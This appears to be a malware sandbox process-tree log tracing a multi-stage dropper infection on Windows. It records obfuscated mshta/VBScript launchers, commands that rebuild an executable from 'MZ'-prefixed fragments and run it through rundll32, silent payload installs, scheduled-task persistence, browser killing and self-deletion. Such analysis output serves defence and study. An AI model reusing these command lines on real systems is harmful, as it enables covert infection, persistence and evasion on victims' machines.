C:\Users\Admin\AppData\Roaming\4168539.exe"C:\Users\Admin\AppData\Roaming\4168539.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\2511535.exe"C:\Users\Admin\AppData\Roaming\2511535.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPT: CLose ( cREaTeobJEcT ( "WscRipT.SHelL" ). rUN ( "CMD.exe /Q /R cOPy /Y ""C:\Users\Admin\AppData\Roaming\2511535.exe"" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF """"== """" for %m IN ( ""C:\Users\Admin\AppData\Roaming\2511535.exe"" ) do taskkill /F /IM ""%~nXm"" " , 0 , TRue ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R cOPy /Y "C:\Users\Admin\AppData\Roaming\2511535.exe" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF ""== "" for %m IN ( "C:\Users\Admin\AppData\Roaming\2511535.exe" ) do taskkill /F /IM "%~nXm"8⤵
-
C:\Users\Admin\AppData\Local\Temp\UpJnOk3Yn_BZ21.EXe..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E59⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPT: CLose ( cREaTeobJEcT ( "WscRipT.SHelL" ). rUN ( "CMD.exe /Q /R cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\UpJnOk3Yn_BZ21.EXe"" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF ""/p046ZeOV5fN93E5 ""== """" for %m IN ( ""C:\Users\Admin\AppData\Local\Temp\UpJnOk3Yn_BZ21.EXe"" ) do taskkill /F /IM ""%~nXm"" " , 0 , TRue ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R cOPy /Y "C:\Users\Admin\AppData\Local\Temp\UpJnOk3Yn_BZ21.EXe" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF "/p046ZeOV5fN93E5 "== "" for %m IN ( "C:\Users\Admin\AppData\Local\Temp\UpJnOk3Yn_BZ21.EXe" ) do taskkill /F /IM "%~nXm"11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRiPt: cLoSE ( crEaTeobjECt ("wsCriPt.shElL" ).Run ( "cMD /q /R eCHo | set /P = ""MZ"" > 1U6QCJ.0ZQ & coPy /Y /B 1U6QcJ.0ZQ + ~M8QTK6.LG +2RWpCG7b.N + QDVQ.nb + NTzZxd.SX ..\5UJAEP._~0 & DeL /Q *& STaRT control.exe ..\5UJAEP._~0 " , 0 , tRUe ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R eCHo | set /P = "MZ" > 1U6QCJ.0ZQ &coPy /Y /B 1U6QcJ.0ZQ + ~M8QTK6.LG+2RWpCG7b.N + QDVQ.nb + NTzZxd.SX ..\5UJAEP._~0 & DeL /Q *& STaRT control.exe ..\5UJAEP._~011⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHo "12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>1U6QCJ.0ZQ"12⤵
-
C:\Windows\SysWOW64\control.execontrol.exe ..\5UJAEP._~012⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\5UJAEP._~013⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\5UJAEP._~014⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\5UJAEP._~015⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM "2511535.exe"9⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\5707507.exe"C:\Users\Admin\AppData\Roaming\5707507.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat16862c2e159d0a4.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16862c2e159d0a4.exeSat16862c2e159d0a4.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt: cLosE ( CReATeObJEcT ("WsCripT.sHELl" ).RUN ( "CmD /r copy /Y ""C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16862c2e159d0a4.exe"" ..\TyIOGZL_DGrJm.EXe && sTArT ..\TyIoGZL_DGRJm.EXe /pndRQSTDuB4kW8vOCUOVSE & IF """" == """" for %t iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16862c2e159d0a4.exe"" ) do taskkill -iM ""%~nxt"" /f" , 0 , tRUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r copy /Y "C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16862c2e159d0a4.exe" ..\TyIOGZL_DGrJm.EXe && sTArT ..\TyIoGZL_DGRJm.EXe /pndRQSTDuB4kW8vOCUOVSE& IF "" == "" for %t iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16862c2e159d0a4.exe" ) do taskkill -iM "%~nxt" /f7⤵
-
C:\Users\Admin\AppData\Local\Temp\TyIOGZL_DGrJm.EXe..\TyIoGZL_DGRJm.EXe /pndRQSTDuB4kW8vOCUOVSE8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt: cLosE ( CReATeObJEcT ("WsCripT.sHELl" ).RUN ( "CmD /r copy /Y ""C:\Users\Admin\AppData\Local\Temp\TyIOGZL_DGrJm.EXe"" ..\TyIOGZL_DGrJm.EXe && sTArT ..\TyIoGZL_DGRJm.EXe /pndRQSTDuB4kW8vOCUOVSE & IF ""/pndRQSTDuB4kW8vOCUOVSE"" == """" for %t iN ( ""C:\Users\Admin\AppData\Local\Temp\TyIOGZL_DGrJm.EXe"" ) do taskkill -iM ""%~nxt"" /f" , 0 , tRUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r copy /Y "C:\Users\Admin\AppData\Local\Temp\TyIOGZL_DGrJm.EXe" ..\TyIOGZL_DGrJm.EXe && sTArT ..\TyIoGZL_DGRJm.EXe /pndRQSTDuB4kW8vOCUOVSE& IF "/pndRQSTDuB4kW8vOCUOVSE" == "" for %t iN ( "C:\Users\Admin\AppData\Local\Temp\TyIOGZL_DGrJm.EXe" ) do taskkill -iM "%~nxt" /f10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpT: CLose ( CreATeobJeCt ( "WsCrIpt.SHELL" ). run ( "CMd /r ecHO M4%raNdom%Dh> _nV2ETiC.R5 & ECHO | set /P = ""MZ"" > qDz2EUwL.Nn & COpy /b /Y QDz2EUwL.NN + Wz3EN0Ra.r + YAwLKSHG.Nt + 1LRWb.UIm + MmIK6j.ACI +_nV2ETiC.R5 ..\XHtD~USv.J & staRt control ..\xHTD~USV.J & del /Q * " , 0 , True ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r ecHO M4%raNdom%Dh> _nV2ETiC.R5 & ECHO | set /P = "MZ" > qDz2EUwL.Nn & COpy /b /Y QDz2EUwL.NN + Wz3EN0Ra.r + YAwLKSHG.Nt + 1LRWb.UIm + MmIK6j.ACI +_nV2ETiC.R5 ..\XHtD~USv.J & staRt control ..\xHTD~USV.J & del /Q *10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>qDz2EUwL.Nn"11⤵
-
C:\Windows\SysWOW64\control.execontrol ..\xHTD~USV.J11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\xHTD~USV.J12⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\xHTD~USV.J13⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\xHTD~USV.J14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Sat16862c2e159d0a4.exe" /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat169c60f22b8.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat169c60f22b8.exeSat169c60f22b8.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1682c535a6fcb6e7.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1682c535a6fcb6e7.exeSat1682c535a6fcb6e7.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat160ff2e199851.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat160ff2e199851.exeSat160ff2e199851.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1637cdb9d96.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1637cdb9d96.exeSat1637cdb9d96.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\c9IrcfrHhK7QocfRe1Py6N1a.exe"C:\Users\Admin\Pictures\Adobe Films\c9IrcfrHhK7QocfRe1Py6N1a.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1624bfc23ff9f.exe /mixtwo4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1624bfc23ff9f.exeSat1624bfc23ff9f.exe /mixtwo5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat16066e28b50208.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16066e28b50208.exeSat16066e28b50208.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat16af470129.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16af470129.exeSat16af470129.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-LUKOT.tmp\Sat16af470129.tmp"C:\Users\Admin\AppData\Local\Temp\is-LUKOT.tmp\Sat16af470129.tmp" /SL5="$700FE,506127,422400,C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16af470129.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-UASJC.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-UASJC.tmp\lakazet.exe" /S /UID=27207⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a7-60c1d-888-c6baf-a162d8ba7d993\Munejopaeqi.exe"C:\Users\Admin\AppData\Local\Temp\a7-60c1d-888-c6baf-a162d8ba7d993\Munejopaeqi.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22609⤵
-
C:\Users\Admin\AppData\Local\Temp\d9-c4838-dab-bd990-960d54decb011\Lerifeveju.exe"C:\Users\Admin\AppData\Local\Temp\d9-c4838-dab-bd990-960d54decb011\Lerifeveju.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tn0vucmy.2x3\vinmall_da.exe /silent & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\tn0vucmy.2x3\vinmall_da.exeC:\Users\Admin\AppData\Local\Temp\tn0vucmy.2x3\vinmall_da.exe /silent10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u44e510e.45a\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\u44e510e.45a\setting.exeC:\Users\Admin\AppData\Local\Temp\u44e510e.45a\setting.exe SID=778 CID=778 SILENT=1 /quiet10⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Settings\Settings 1.0.0\install\FD7DF1F\Settings Installation.msi" SID=778 CID=778 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\u44e510e.45a\setting.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\u44e510e.45a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636824963 SID=778 CID=778 SILENT=1 /quiet " SID="778" CID="778"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ubzmpxon.dub\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ubzmpxon.dub\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\ubzmpxon.dub\GcleanerEU.exe /eufive10⤵
-
C:\Users\Admin\AppData\Local\Temp\ubzmpxon.dub\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\ubzmpxon.dub\GcleanerEU.exe /eufive11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ubzmpxon.dub\GcleanerEU.exe" & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f13⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oq4unjbt.abb\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\oq4unjbt.abb\installer.exeC:\Users\Admin\AppData\Local\Temp\oq4unjbt.abb\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\oq4unjbt.abb\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\oq4unjbt.abb\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636565755 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bxydrp5j.3j4\vpn.exe /silent /subid=798 & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\bxydrp5j.3j4\vpn.exeC:\Users\Admin\AppData\Local\Temp\bxydrp5j.3j4\vpn.exe /silent /subid=79810⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1TOKG.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-1TOKG.tmp\vpn.tmp" /SL5="$801E8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\bxydrp5j.3j4\vpn.exe" /silent /subid=79811⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "12⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090113⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "12⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090113⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall12⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install12⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV113⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\13zwojaq.s2m\a.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\13zwojaq.s2m\a.exeC:\Users\Admin\AppData\Local\Temp\13zwojaq.s2m\a.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ufcpgolf.mx2\any.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ufcpgolf.mx2\any.exeC:\Users\Admin\AppData\Local\Temp\ufcpgolf.mx2\any.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\ufcpgolf.mx2\any.exe"C:\Users\Admin\AppData\Local\Temp\ufcpgolf.mx2\any.exe" -u11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cf4fg3kw.lcb\autosubplayer.exe /S & exit9⤵
- Blocklisted process makes network request
-
C:\Users\Admin\AppData\Local\Temp\UYPBVNYSUX\foldershare.exe"C:\Users\Admin\AppData\Local\Temp\UYPBVNYSUX\foldershare.exe" /VERYSILENT8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat163b771375.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat16156abf9c.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1612020d5c.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1600f41eca.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1600f41eca.exeSat1600f41eca.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\WvJ5I1ACeVo2ESO_XDHHh3Tu.exe"C:\Users\Admin\Pictures\Adobe Films\WvJ5I1ACeVo2ESO_XDHHh3Tu.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\bncJi3yrBQew9E5sDq2UtqIk.exe"C:\Users\Admin\Pictures\Adobe Films\bncJi3yrBQew9E5sDq2UtqIk.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\CBwJAdL714gOnoSKA7EVszPn.exe"C:\Users\Admin\Documents\CBwJAdL714gOnoSKA7EVszPn.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\auS5OXNvtDNQF5sa1SFlmUry.exe"C:\Users\Admin\Pictures\Adobe Films\auS5OXNvtDNQF5sa1SFlmUry.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\hCKVYwzGLri54yKDKtqKV4wZ.exe"C:\Users\Admin\Pictures\Adobe Films\hCKVYwzGLri54yKDKtqKV4wZ.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\1NRkeK776b5jtTpEATHaDqK9.exe"C:\Users\Admin\Pictures\Adobe Films\1NRkeK776b5jtTpEATHaDqK9.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\1NRkeK776b5jtTpEATHaDqK9.exe"C:\Users\Admin\Pictures\Adobe Films\1NRkeK776b5jtTpEATHaDqK9.exe" -u5⤵
-
C:\Users\Admin\Pictures\Adobe Films\XsSFtHolq077cqBZKssNQvYh.exe"C:\Users\Admin\Pictures\Adobe Films\XsSFtHolq077cqBZKssNQvYh.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VL9J0.tmp\XsSFtHolq077cqBZKssNQvYh.tmp"C:\Users\Admin\AppData\Local\Temp\is-VL9J0.tmp\XsSFtHolq077cqBZKssNQvYh.tmp" /SL5="$70536,506127,422400,C:\Users\Admin\Pictures\Adobe Films\XsSFtHolq077cqBZKssNQvYh.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-V7AJ4.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-V7AJ4.tmp\lakazet.exe" /S /UID=27096⤵
-
C:\Users\Admin\AppData\Local\Temp\7d-112ae-eb4-d5ebe-f5f940e3c43c9\Kuxalinaede.exe"C:\Users\Admin\AppData\Local\Temp\7d-112ae-eb4-d5ebe-f5f940e3c43c9\Kuxalinaede.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iy0ui1qy.ddc\installer.exe /qn CAMPAIGN="654" & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\iy0ui1qy.ddc\installer.exeC:\Users\Admin\AppData\Local\Temp\iy0ui1qy.ddc\installer.exe /qn CAMPAIGN="654"9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z2hgtguz.zrv\any.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\z2hgtguz.zrv\any.exeC:\Users\Admin\AppData\Local\Temp\z2hgtguz.zrv\any.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\z2hgtguz.zrv\any.exe"C:\Users\Admin\AppData\Local\Temp\z2hgtguz.zrv\any.exe" -u10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\35dmbiac.oxs\autosubplayer.exe /S & exit8⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\uUeEy_mjpD863YXhlPLUoeYu.exe"C:\Users\Admin\Pictures\Adobe Films\uUeEy_mjpD863YXhlPLUoeYu.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--cSExK3QD"6⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x288,0x254,0x290,0x28c,0x294,0x7ffbb955dec0,0x7ffbb955ded0,0x7ffbb955dee07⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ff7d2869e70,0x7ff7d2869e80,0x7ff7d2869e908⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,11405949028781873092,2024909225787717574,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8992_1698657588" --mojo-platform-channel-handle=1664 /prefetch:87⤵
-
C:\Users\Admin\Pictures\Adobe Films\vakTNffiFwspzWOD4Fzjzu9T.exe"C:\Users\Admin\Pictures\Adobe Films\vakTNffiFwspzWOD4Fzjzu9T.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\UBXEbl_iE8jcgMypt55damzf.exe"C:\Users\Admin\Pictures\Adobe Films\UBXEbl_iE8jcgMypt55damzf.exe"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\0_1v0liDJ0bpha33Ttq_i59K.exe"C:\Users\Admin\Pictures\Adobe Films\0_1v0liDJ0bpha33Ttq_i59K.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cm3.exe"C:\Program Files (x86)\Company\NewProduct\cm3.exe"3⤵
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"3⤵
-
C:\Program Files (x86)\Company\NewProduct\inst2.exe"C:\Program Files (x86)\Company\NewProduct\inst2.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\uMitNnIHKWX86L0lS7hpNqd2.exe"C:\Users\Admin\Pictures\Adobe Films\uMitNnIHKWX86L0lS7hpNqd2.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im uMitNnIHKWX86L0lS7hpNqd2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\uMitNnIHKWX86L0lS7hpNqd2.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im uMitNnIHKWX86L0lS7hpNqd2.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\GUcAMkU2fbBX5x_yCyQydb1O.exe"C:\Users\Admin\Pictures\Adobe Films\GUcAMkU2fbBX5x_yCyQydb1O.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\GUcAMkU2fbBX5x_yCyQydb1O.exe"C:\Users\Admin\Pictures\Adobe Films\GUcAMkU2fbBX5x_yCyQydb1O.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\EqzCpUyg0ikr2b6STTRrntZ1.exe"C:\Users\Admin\Pictures\Adobe Films\EqzCpUyg0ikr2b6STTRrntZ1.exe"2⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\8_8p1rMkcd9q1jEwSe3CnJ_c.exe"C:\Users\Admin\Pictures\Adobe Films\8_8p1rMkcd9q1jEwSe3CnJ_c.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\fDoYYGoIn2bXoEFPadIAPe0e.exe"C:\Users\Admin\Pictures\Adobe Films\fDoYYGoIn2bXoEFPadIAPe0e.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\fDoYYGoIn2bXoEFPadIAPe0e.exe"C:\Users\Admin\Pictures\Adobe Films\fDoYYGoIn2bXoEFPadIAPe0e.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\vhapsjAm2wihKVlLl8h8ZPK5.exe"C:\Users\Admin\Pictures\Adobe Films\vhapsjAm2wihKVlLl8h8ZPK5.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\vhapsjAm2wihKVlLl8h8ZPK5.exe"C:\Users\Admin\Pictures\Adobe Films\vhapsjAm2wihKVlLl8h8ZPK5.exe"3⤵
-
